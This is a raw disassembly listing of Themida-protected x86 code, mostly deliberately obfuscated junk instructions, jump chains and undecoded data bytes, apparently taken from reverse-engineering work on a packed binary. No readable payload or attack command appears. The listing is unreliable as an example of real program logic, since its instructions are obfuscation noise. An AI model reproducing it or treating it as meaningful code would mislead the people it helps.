		dd 537358C5h, 2C875A45h, 24248B24h, 189268h, 243C8900h
		dd 538168h, 24248900h, 4BD55h, 6C010000h, 8B5D0424h, 0C483243Ch
		dd 0B8505604h, 4, 0E958C689h, 4C89h, 0EE81DE29h, 6653E07h
		dd 83241C8Bh, 0F50104C4h, 5E2434FFh, 81E78957h,	4C7h, 4C78300h
		dd 5C243C87h, 5504C583h, 42474FFh, 33DDE9h, 1C3E3500h
		dd 0F40D223Ch, 5161938h, 1466D20h, 63EC1A2Dh, 0E9C78917h
		dd 39A5h, 4C481h, 15E90000h, 310000D2h,	34FF5B2Bh, 242C8B24h
		dd 5104C483h, 8904EC83h, 4812424h, 424h, 240C8B00h, 8104C483h
		dd 4C1h, 4E98100h, 33000000h, 0C31240Ch, 240C3324h, 240C895Ch
		dd 90ABE9h, 58E18800h, 1874C88h, 0A3F8E9h, 2ABD5500h, 0B8658110h
		dd 9A7EEFDAh, 66E9E801h, 50000107h, 0CBA2E99Ch,	0C890000h
		dd 0AB2E924h, 0E95B0000h, 3FD7h, 81241C29h, 6643242Ch
		dd 0E95B3914h, 20DCh, 39E9525Fh, 0FF000001h, 58042474h
		dd 8B24048Fh
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 66001E74h
		jmp	loc_5A33EC
; ---------------------------------------------------------------------------
		db 51h,	55h, 0BDh
		dd 5C5E15CEh, 0B404E9h
		db 0
; ---------------------------------------------------------------------------


loc_5946C1:				; CODE XREF: Themida_:0059987Ej
		pop	esi
		xchg	eax, esi
		jmp	loc_59C90E
; ---------------------------------------------------------------------------


loc_5946C8:				; CODE XREF: Themida_:00593A1Aj
		add	ecx, 4
		push	ecx
		jmp	loc_59350C
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0BF685150h, 8B26FA31h, 0C483240Ch, 0C1D1F704h
		dd 0BD5506E9h, 145866F7h, 5601C583h, 0B50AE7BEh, 0E9F5093Fh
		dd 621Eh, 240C8B66h, 24DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_594709:				; CODE XREF: Themida_:00599EE8j
		push	small 4DFDh
		mov	[esp], dx
		jmp	loc_595A45
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9532404h, 0BA07h, 89AF781h, 0C7816F1Eh, 0BE9655BFh
		dd 10E9FE01h, 0FFFFFFD9h, 34FF2434h, 9049E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59473E:				; CODE XREF: Themida_:0059D551j
		push	ebx
		jmp	loc_599F3B
; ---------------------------------------------------------------------------
		dd 0C92DD801h, 511CDB1Bh, 0DF1CFAB9h, 8BC8010Ah, 0C481240Ch
		dd 4, 3DB968h, 0A43AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594766:				; CODE XREF: Themida_:00599EDCj
		sub	ebp, ebx
		pop	ebx
		push	5D1Bh
		mov	[esp], eax
		push	esi
		mov	esi, 363C73CAh
		mov	eax, 7B9BACE2h
		sub	eax, esi
		jmp	loc_59E521
; ---------------------------------------------------------------------------
		db 58h
		dd 4EC81h, 14890000h, 0FBC7BA24h, 0D101B325h, 8324148Bh
		dd 515204C4h, 0FFF6B8E9h, 0E9C281FFh, 8B4A7063h, 0C481243Ch
		dd 4, 6EECE9h, 22C38100h, 8B45642Eh, 0C4832434h, 1C875904h
		dd 24248B24h, 0E9028864h, 7AF0h, 0E951E289h, 4186h, 4C9305ADh
		dd 0D80179C1h, 61C968h,	6F7E900h, 8B660001h, 4168240Ch
		dd 89000008h, 0E954243Ch, 0E46Dh, 4BFh,	0E9FD0100h, 1714h
		dd 0F65BB151h, 0F6E186D9h, 80E186D4h, 0E1C056C9h, 0B1E6E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59481E:				; CODE XREF: Themida_:005A0079j
		sub	esi, 23142AC8h
		xor	esi, 62254616h
		jmp	loc_5A3031
; ---------------------------------------------------------------------------
aVuAUiuBIvoksN	db 'VU½·aÜu‰î]ΨVOkéÜ­',0
		align 4
		dd 4A05F001h, 5E23D552h, 81242C8Bh, 4C4h, 8CBF5700h, 0E955EB4Eh
		dd 7720h
; ---------------------------------------------------------------------------


loc_594860:				; CODE XREF: Themida_:0059BCF2j
		push	eax
		push	22A10D6Bh
		pop	eax
		jmp	loc_594062
; ---------------------------------------------------------------------------


loc_59486C:				; CODE XREF: Themida_:005A3916j
		push	esi
		push	esp
		jmp	loc_5A7038
; ---------------------------------------------------------------------------


loc_594873:				; CODE XREF: Themida_:005A4B43j
		mov	ecx, edx
		jmp	loc_5A16B2
; ---------------------------------------------------------------------------


loc_59487A:				; CODE XREF: Themida_:005A013Dj
		mov	ebx, [esp]
		jmp	loc_595696
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 8B000000h,	0C481240Ch, 4, 1FA9C781h, 0F781326Bh
		dd 85CE66A5h, 3C8BFE01h, 4C48324h, 4EE81h, 32E90000h, 0BFFFFFE2h
		dd 51D32FEBh, 0A80CE9h,	0E1895100h, 4C181h, 0E9830000h
		dd 240C8704h, 20A9E95Ch, 248B0001h, 0C896624h, 0D692E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5948DE:				; CODE XREF: Themida_:005A10ADj
		add	dword ptr [esp+4], 103D5823h
		jmp	loc_59206B
; ---------------------------------------------------------------------------


loc_5948EB:				; CODE XREF: Themida_:00598299j
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5948F1:				; CODE XREF: Themida_:00593525j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5933B6
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd offset dword_4491E4+0B205h
		dd 0AE95800h, 5000010Dh, 0F0141268h, 2434FF17h,	5124048Bh
		dd 0C181E189h, 4, 4C181h, 0C870000h, 0A7E95C24h, 10000A6h
		dd 64C781DFh, 810B3A4Dh, 83784C7h, 2434FF64h, 1C8AE95Bh
		dd 0FF660000h, 0E99C240Ch, 0FFFFD614h, 41379AB9h, 2E9C156h
		dd 8108E1C1h, 0D15E96C9h, 3C39E97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594972:				; CODE XREF: Themida_:0059AA67j
		push	edx
		mov	edx, 42F4FF04h
		jmp	loc_5A15A3
; ---------------------------------------------------------------------------


loc_59497D:				; CODE XREF: Themida_:005A3976j
		pop	esi
		push	edx
		mov	edx, 4CCB1882h
		and	edx, 3052491Dh
		jmp	loc_599A0B
; ---------------------------------------------------------------------------


loc_59498F:				; CODE XREF: Themida_:005934A8j
		add	esp, 4
		jmp	loc_5941B0
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8B241487h, 68662424h, 89661905h, 66572434h, 66748B68h
		dd 0E7C1665Fh, 0C862E903h, 0E9890000h, 0E9CE015Dh, 0E6C8h
		dd 52240489h, 5D96E9h, 0D3665C00h, 0E99C240Ch, 0FFFFD594h
; ---------------------------------------------------------------------------


loc_5949DC:				; CODE XREF: Themida_:00596EE8j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_596F54
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 64083784h, 4D64EF81h, 34E90B3Ah, 5AFFFFFFh, 4BB53h
		dd 0D9010000h, 81241C8Bh, 4C4h,	240C8700h, 5724248Bh, 72E8E9h
		dd 0C8B6600h, 7F326824h, 63E90000h, 5D000065h, 0FB8BE9h
		dd 0F7814700h, 6C7B21A4h, 1A4DF781h, 0C1811381h, 34C4376Ah
		dd 0E981F901h, 34C4376Ah, 9DD7E95Fh, 0E3BA0000h, 16A4071h
		dd 38685AD0h, 8900004Ah, 0B8682434h, 8900006Fh,	1EE9241Ch
		dd 0D1000015h, 0F8F781EFh, 689B4483h, 0B82h, 0BE243489h
		dd 40237BA6h, 11C4EE9h,	0F6EA8100h, 5B280F01h, 83242C8Bh
		dd 0C28104C4h, 2, 8B241487h, 2CD22424h,	0BDE99C24h, 5DFFFFD4h
		dd 3304EB83h, 1C31241Ch, 241C3324h, 242C895Ch, 0BA82E9h
		db 0
; ---------------------------------------------------------------------------


loc_594AC9:				; CODE XREF: Themida_:00596854j
		add	esi, 4
		sub	esi, 4
		jmp	loc_59859D
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9242489h, 0EAB3h, 4C681h, 0EE810000h, 4, 0E9243487h
		dd 42F6h, 4C181h, 7EE90000h, 660000D6h,	0E9240C8Bh, 0AB75h
		dd 4C681h, 34870000h, 0FBE95C24h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_594B1F:				; CODE XREF: Themida_:0059E96Cj
		push	78F108B6h
		pop	ebx
		mov	edi, ebx
		pop	ebx
		sub	edi, 5A666FABh
		push	edx
		mov	edx, 7B82345Ch
		not	edx
		not	edx
		neg	edx
		neg	edx
		add	edx, 0B2B5D1D9h
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		add	edi, 0FFFFFFFFh
		not	edi
		xor	edi, 2B9B6652h
		add	edi, 0D7BF1B44h
		add	edi, 8F9ADE2Eh
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_595E32
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2474FF57h, 243C8B04h, 0E3C0E952h, 0C5890000h, 1CEDE9h
		dd 91D8F700h, 0FFE374E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594BA9:				; CODE XREF: Themida_:005A1F12j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_5A4D3C
; ---------------------------------------------------------------------------


loc_594BB8:				; CODE XREF: Themida_:0059F6B4j
		mov	[esp], edx
		push	ebx
		mov	ebx, 5EDC6A2Dh
		shr	ebx, 5
		neg	ebx
		neg	ebx
		shr	ebx, 5
		jmp	loc_59DA0A
; ---------------------------------------------------------------------------
		dd 316EE181h, 0C1810768h, 0EACB4817h, 8159CE01h, 0EA097EEFh
		dd 50F72926h, 0EA097EB8h, 58C70126h, 5E2434FFh,	4704C483h
		dd 1BEFCF81h, 0F7811E1Eh, 0FE7FBFFDh, 91E9F801h, 55000028h
		dd 68BD5552h, 0BA3D1C75h, 5CE7698h, 1109E9h, 52E68900h
		dd 4BAh, 5AD60100h, 9813E9h, 5CE3BA00h,	0EA814944h, 2F831C9Eh
		dd 0C02B951h, 0E9814C7Dh, 14D03262h, 0E9C1D9F7h, 0D4F18102h
		dd 817C2B00h, 8A427FC1h, 0A3F18106h, 2104062Bh,	707CE9CAh
		dd 248B0000h, 0C8856624h, 0D302E99Ch, 5553FFFFh, 840005BDh
		dd 81E58112h, 0F703A63Ah, 89ED81D5h, 8991C58Ah,	6D88E9EBh
		dd 815F0000h, 4C7h, 4C78100h, 87000000h, 0E9E9243Ch, 5A0000CBh
		dd 8B24048Fh, 0C4832424h, 2404FF04h, 0D2BEE99Ch, 815FFFFFh
		dd 4C7h, 4EF8100h, 0E9000000h, 0FFFFDBF5h, 5C240C33h, 0FFDF8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594CCD:				; CODE XREF: Themida_:00593DB3j
		add	esp, 4
		sub	al, 8Ah
		sub	al, dh
		push	edx
		sub	esp, 4
		jmp	loc_59BEF8
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4EC81h, 0A3680000h, 8900001Fh, 4832424h, 48F0424h, 24048324h
		dd 0F2F3E904h, 0C3810000h, 5F5A2064h, 0D8E9D329h, 81FFFFF0h
		dd 754A11C1h, 9EE9811Ch, 105A361h, 9EC181C1h, 0E905A361h
		dd 9276h, 0E9D60158h, 1111h
; ---------------------------------------------------------------------------


loc_594D2C:				; CODE XREF: Themida_:0059C5C3j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A2DC5
; ---------------------------------------------------------------------------
aUs_f		db '^Ué_ä',0
		align 2
		dw 8159h
		dd 4C1h, 0FB6BE900h, 0C383FFFFh, 241C8702h, 6624248Bh
		dd 9C243CD3h, 0FFD20BE9h, 0C48359FFh, 0E9D60104h, 4DDBh
; ---------------------------------------------------------------------------


loc_594D70:				; CODE XREF: Themida_:0059C31Cj
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A1421
; ---------------------------------------------------------------------------
		dd 4C481h, 0F2800000h, 0B15150D1h, 0B65266AFh, 0E9F13031h
		dd 0B94h, 8104C483h, 0C735ECEBh, 68C30116h, 5AD6h, 81240489h
		dd 4ECh, 240C8900h, 0E6D5868h, 1745E93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594DBE:				; CODE XREF: Themida_:0059692Fj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_599A02
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3810000h, 4, 0E9241C87h, 0B241h, 1FC0EB81h
		dd 14E9E6B5h, 100004Eh,	24048BC7h, 9275E9h, 0E2895200h
		dd 9657E9h, 0FFFFBD00h,	0E901FFFFh, 0A9C1815Dh,	21F079A1h
		dd 0F78159CFh, 63E73379h, 0E79BE947h, 0C281FFFFh, 4, 0C3A4E9h
		dd 55E94100h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594E27:				; CODE XREF: Themida_:005A5511j
		add	edi, 0B5B6D0E2h
		mov	ebp, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59CD44
; ---------------------------------------------------------------------------
		db 5, 0CBh, 58h
		dd 53511E8Ch, 0E75DFABBh, 0C1C38138h, 6849C20Ch, 0
		dd 43240481h, 0E9391466h, 0FFFFF820h
; ---------------------------------------------------------------------------


loc_594E60:				; CODE XREF: Themida_:00592C2Aj
		mov	[esp], eax
		jmp	loc_59E2A1
; ---------------------------------------------------------------------------


loc_594E68:				; CODE XREF: Themida_:00597569j
		xor	ebx, 69342247h
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_597E79
; ---------------------------------------------------------------------------
		dd offset dword_609068
		dd 24148900h, 4EC81h, 1C890000h, 1395BB24h, 57BA7C66h
		dd 0E96C8713h, 6FAAh
; ---------------------------------------------------------------------------


loc_594E98:				; CODE XREF: Themida_:005A239Ej
		pop	esp
		push	ebx
		mov	ebx, 20600F21h
		shr	ebx, 4
		inc	ebx
		sub	ebx, 20600EFh
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_59D322
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2BF581DDh, 313FFDDDh, 0DF015DEBh, 0A905E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594EC6:				; CODE XREF: Themida_:00596526j
		mov	esi, [esp]
		jmp	loc_5A3658
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 81595424h, 4C1h, 4E98100h, 0E9000000h, 104F0h, 81241C8Bh
		dd 4C4h, 0F6EDE900h, 0C4810000h, 4, 8159CB01h, 4EBh, 0F3E95300h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_594F07:				; CODE XREF: Themida_:005A169Fj
		pop	esi
		dec	eax
		push	edi
		mov	edi, 4A152C38h
		push	ebx
		jmp	loc_5952DD
; ---------------------------------------------------------------------------


loc_594F15:				; CODE XREF: Themida_:0059354Ej
		sub	al, cl
		pop	ecx
		xor	al, 0F5h
		jmp	loc_5A02C7
; ---------------------------------------------------------------------------
		db 89h
		dd 4C15E9D3h, 4870000h,	0B1F0E924h, 0F7460000h,	56F681D6h
		dd 29A926FFh, 2434FFF7h, 0E289525Eh, 4EC81h, 93E90000h
		dd 0FFFFFFF3h, 535B2434h, 0C381E389h, 4, 0FFD133E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594F5D:				; CODE XREF: Themida_:0059C2CCj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_594F62:				; CODE XREF: Themida_:005A456Cj
		dec	edi
		sub	edi, 7E47648Bh
		jmp	loc_59E0EB
; ---------------------------------------------------------------------------
aSS9Xs		db 'S»S9¹Xé//',0
		db 0
; ---------------------------------------------------------------------------


loc_594F79:				; CODE XREF: Themida_:00597893j
		xor	esi, 5AF068E0h
		sub	esi, 3DAC6677h
		dec	esi
		jmp	loc_59B006
; ---------------------------------------------------------------------------
		db 89h
		dd 62B02404h, 1E2C1304h, 0C92E9h, 8A2DAD00h, 29628C27h
		dd 33B368D8h, 14890000h, 4829BA24h, 0BB532498h,	1FE800AFh
		dd 0D1E9DA21h, 0E900011Ah, 0FFFFCFB0h, 4C7815Fh, 0E9000000h
		dd 4116h, 24048B66h, 9B2AE9h, 4C48100h,	1000000h, 0DE9BE9FAh
		dd 48F0000h, 24248B24h,	0E904C483h, 0FFFFDC48h
; ---------------------------------------------------------------------------


loc_594FF0:				; CODE XREF: Themida_:005A61D3j
		add	eax, edi
		jmp	loc_5A03C6
; ---------------------------------------------------------------------------
		db 81h
		dd 0D44EFAE9h, 740B6845h, 1C890000h, 7E57BB24h,	814B10E1h
		dd 42BED3F3h, 5CB6E92Dh, 0BA520000h, 22120034h,	515AD731h
		dd 79E9F989h, 0FF000099h, 669D1C77h, 2414D259h,	0CF3AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595036:				; CODE XREF: Themida_:005A063Dj
		mov	ch, 52h
		add	al, ch
		pop	ecx
		xor	al, 0DCh
		neg	al
		jmp	loc_598077
; ---------------------------------------------------------------------------
		dd 0C5E9515Dh
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59504B:				; CODE XREF: Themida_:00598F08j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_596606
; ---------------------------------------------------------------------------
		dd 240C8B66h, 613968h, 24348900h, 370B68h, 0A0E95400h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595077:				; CODE XREF: Themida_:005A1CE0j
		mov	[esp], eax
		jmp	loc_5A528F
; ---------------------------------------------------------------------------
		db 58h
		dd 31241C33h, 1C33241Ch, 9CCE924h, 0CF880000h, 8B5BF888h
		dd 0C481240Ch, 4, 2E9FF2Ch, 8B0000CEh, 8B662424h, 89522404h
		dd 4C281E2h, 83000000h,	148704EAh, 0C14DE924h, 0EC810000h
		dd 4, 1035E9h, 88F88800h, 6DE958C5h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5950D3:				; CODE XREF: Themida_:0059B17Dj
		pop	edx
		jmp	loc_59CC26
; ---------------------------------------------------------------------------
		db 42h,	81h, 0EAh
		dd 1, 8398EA81h, 0D6316A88h, 8BF1295Ah,	0C4812434h, 4
		dd 8B240C87h, 89662424h, 0F66240Ch, 5166C8B6h, 0CE66E99Ch
		dd 0C381FFFFh, 6C3D533Ah, 7560BE56h, 0DEF755DFh, 7DC5BF57h
		dd 0FE01C0C9h, 22EB815Fh, 0E945642Eh, 723Fh, 4EC81h, 3C890000h
		dd 0ED32E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59513A:				; CODE XREF: Themida_:005A50E2j
		push	edx
		mov	edx, 1A565907h
		push	eax
		mov	eax, 63C4CA4h
		neg	eax
		sub	eax, 0F9C3B35Ch
		add	eax, 458F5D3Eh
		sub	eax, edx
		sub	eax, 458F5D3Eh
		mov	edx, eax
		pop	eax
		dec	edx
		xor	edx, 937997B0h
		and	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 0C242759h
		push	ecx
		mov	ecx, 70FD71AEh
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_5A1D01
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 2
		dd 241C8966h, 0D7F6F788h, 5B66FE88h, 42FEE80h, 2CF00063h
		dd 0E62C5A63h, 0E604C828h, 48E9E42Ch, 53000018h, 8A62F268h
		dd 0C3815B31h, 2717FB84h, 3F9BC181h, 0D92963BDh, 3F9BE981h
		dd 1C8B63BDh, 4C48324h,	0D9F7D1F7h, 0A24FF181h,	0C5E99284h
		dd 1000011h, 3800E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5951DE:				; CODE XREF: Themida_:005A3664j
		sub	esp, 4
		mov	[esp], ecx
		push	4
		jmp	loc_5985C0
; ---------------------------------------------------------------------------


loc_5951EE:				; CODE XREF: Themida_:00597E92j
		dec	edx
		jmp	loc_592205
; ---------------------------------------------------------------------------
a3LSg		db '3<$‹$$Ó,$œég×',0
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_594568
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C4h
		dd 4, 560CBE56h, 0EAE98974h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595223:				; CODE XREF: Themida_:005A040Bj
		or	cl, 16h
		shr	cl, 5
		xor	cl, 28h
		mov	dh, cl
		pop	ecx
		add	bl, 84h
		add	bl, dh
		sub	bl, 84h
		push	dword ptr [esp]
		pop	edx
		push	2DEFh
		mov	[esp], edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A62F9
; ---------------------------------------------------------------------------


loc_595253:				; CODE XREF: Themida_:005A2DC0j
		or	dl, 0DEh
		push	bx
		push	eax
		mov	al, 3Bh
		xor	al, 94h
		sub	al, 3Fh
		add	al, 83h
		push	edx
		mov	dh, al
		push	ecx
		mov	ch, dh
		mov	bl, ch
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	dl, bl
		mov	bx, [esp]
		add	esp, 2
		shr	dl, 8
		xor	dl, 0C2h
		and	ah, dl
		pop	edx
		and	ah, 37h
		and	ah, 90h
		push	1096h
		mov	[esp], ebx
		mov	bh, 0D3h
		add	ah, bh
		pop	ebx
		sub	bl, 59h
		add	bl, ah
		add	bl, 59h
		pop	eax
		add	bl, 9Ch
		add	bl, 0Dh
		add	bl, al
		sub	bl, 0Dh
		jmp	loc_59FEB4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFCCB0h
; ---------------------------------------------------------------------------


loc_5952C0:				; CODE XREF: Themida_:0059ABCEj
		push	esi
		jmp	loc_59C5C8
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4258BA52h, 0EA815AACh, 3031015Bh, 5EAC142h, 840E9h
		db 0
; ---------------------------------------------------------------------------


loc_5952DD:				; CODE XREF: Themida_:00594F10j
		mov	ebx, 158FF90Eh
		sub	edi, ebx
		pop	ebx
		sub	edi, 5C4B32B9h
		inc	edi
		neg	edi
		push	ecx
		jmp	loc_598885
; ---------------------------------------------------------------------------


loc_5952F4:				; CODE XREF: Themida_:0059A335j
		add	esp, 4
		jmp	loc_5934F3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 68592434h, 1FFBh, 68242C89h,	599Fh, 0CF8EE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595316:				; CODE XREF: Themida_:0059C95Aj
		push	ecx
		mov	ecx, esp
		jmp	loc_59A1C2
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 243C8B24h, 3B1768h, 24048900h, 405E089h, 83000000h
		dd 48704C0h, 0EC815C24h, 4, 77EE9h, 48B6600h, 43126824h
		dd 3C890000h, 0FF70E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595356:				; CODE XREF: Themida_:005A15E8j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	7D17h
		mov	[esp], ebp
		mov	ebp, 1BE33A77h
		jmp	loc_5991B1
; ---------------------------------------------------------------------------
		db 5Ch,	87h, 1Ch
aSis		db '$éës',0
		align 2


loc_59537E:				; CODE XREF: Themida_:005A2D2Fj
		push	ecx
		mov	ecx, 1933A8Bh
		jmp	loc_595A10
; ---------------------------------------------------------------------------


loc_595389:				; CODE XREF: Themida_:005A63F2j
		add	ebp, ebx
		jmp	loc_596659
; ---------------------------------------------------------------------------


loc_595390:				; CODE XREF: Themida_:005A5A9Dj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 787517B1h
		jmp	loc_59C954
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F58h,	9CC8845Ch, 6C61E9h, 2434FF00h
		dd 8324048Bh, 0C48104C4h, 4, 4247401h, 0C6815E5Eh, 4, 0FFE659E9h
		dd 1CF756FFh, 0F961E924h, 0C483FFFFh, 2332E904h, 0C890000h
		dd 0B9515524h, 4DD34C6Eh, 0B394C181h, 0CD89B22Ch, 0E98BE959h
		dd 2C330000h, 24248B24h, 2404FF66h, 0CB62E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59540E:				; CODE XREF: Themida_:005A4536j
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		jmp	loc_59B97A
; ---------------------------------------------------------------------------


loc_595426:				; CODE XREF: Themida_:0059B4A9j
		mov	[esp], ecx
		push	1744h
		mov	[esp], ebx
		jmp	loc_59A83C
; ---------------------------------------------------------------------------
		dw 4ABDh
		dd 4D1CF452h, 0ED81DDF7h, 0E30BADB3h, 11C47E9h,	4EC8100h
		dd 89000000h, 4BB241Ch,	1000000h, 0C0835BD8h, 24048704h
		dd 4C4835Ch, 0E772E9h
		db 0
; ---------------------------------------------------------------------------


loc_595469:				; CODE XREF: Themida_:005A4483j
		add	dword ptr [esp], 565A14DBh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A64FB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24348704h, 0E924248Bh, 7100h, 9D1C77FFh, 14D35966h
		dd 0D5E99C24h, 5AFFFFCAh, 8304C483h, 0C33004C4h, 629268h
		dd 240C8900h, 88C38853h, 0BB535BDDh, 28h, 103B2E9h, 4EC8100h
		dd 89000000h, 0DBB1240Ch, 8059CB28h, 6651DFEBh,	8842B353h
		dd 805B66DDh, 0ED80A2EDh, 0DBEB805Fh, 15FFE9h, 59545100h
		dd 7116B850h, 5486098h,	204171BCh, 0D1E9D8F7h, 890000C9h
		dd 241C8BDDh, 2D04C483h, 20AC40BEh, 0B471E9h, 243C8900h
		dd 6A68E789h, 0E9000001h, 1B2Fh
; ---------------------------------------------------------------------------


loc_59551C:				; CODE XREF: Themida_:0059E40Aj
		mov	ebx, [esp]
		add	esp, 4
		shl	esi, 5
		shl	esi, 4
		shl	esi, 7
		shr	esi, 1
		push	2E66h
		mov	[esp], ebx
		jmp	loc_599874
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 58752554h, 0F29E281h, 0F2816025h, 35857BCEh,	815AD701h
		dd 2F2DFAC7h, 0E9FB0174h, 6302h
; ---------------------------------------------------------------------------


loc_59555C:				; CODE XREF: Themida_:0059EBA9j
		push	edx
		mov	edx, 7F49167Fh
		mov	esi, edx
		pop	edx
		not	esi
		xor	esi, 50CA2256h
		sub	esi, 0FFFFFFFFh
		inc	esi
		neg	esi
		add	esi, 25ADE774h
		jmp	loc_5A4D24
; ---------------------------------------------------------------------------


loc_595581:				; CODE XREF: Themida_:005921C8j
		add	esp, 4
		sub	edi, ebx
		jmp	loc_5A4062
; ---------------------------------------------------------------------------
		db 0BDh
		dd 55EC08A7h, 0FBD5557h, 8162C70Ah, 513776C5h, 6FE5812Fh
		dd 814DB84Ch, 0FC1C15C5h, 82BA522Ch, 2910C0F3h,	0EF895AD5h
		dd 0EE94F5Dh
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5955BB:				; CODE XREF: Themida_:0059AEF2j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	edi, 2CC319ABh
		push	ecx
		mov	ecx, 55CB5CBEh
		dec	ecx
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		and	ecx, 65E22630h
		dec	ecx
		xor	ecx, 6E1F3B30h
		jmp	loc_5A3E33
; ---------------------------------------------------------------------------


loc_5955EC:				; CODE XREF: Themida_:0059437Cj
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 1BED1F3Fh
		sub	ebp, 1BED1F3Bh
		add	edi, ebp
		pop	ebp
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_599EE1
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 51h
		dd 0DAA7D4B9h, 1D9DE99Fh, 0D7010000h, 2535E95Ah, 0E9580000h
		dd 0FFFFFBA3h, 81242489h, 42404h, 5E90000h, 5400000Ah
		dd 0F77EE95Bh, 1C68FFFFh, 0E900003Ch, 0A3F1h, 315EF189h
		dd 575559CDh, 10A54E9h
		db 0
; ---------------------------------------------------------------------------


loc_595661:				; CODE XREF: Themida_:00592ED3j
		neg	edx
		jmp	loc_59B175
; ---------------------------------------------------------------------------
		dd 5B243489h, 8BF3295Eh, 0C4812434h, 4,	3283EB81h, 0DFE91711h
		dd 66000038h, 6824048Bh, 3A75h,	89241C89h, 61ACE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595696:				; CODE XREF: Themida_:0059487Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1D03697Ah
		sub	ecx, 78CC0C84h
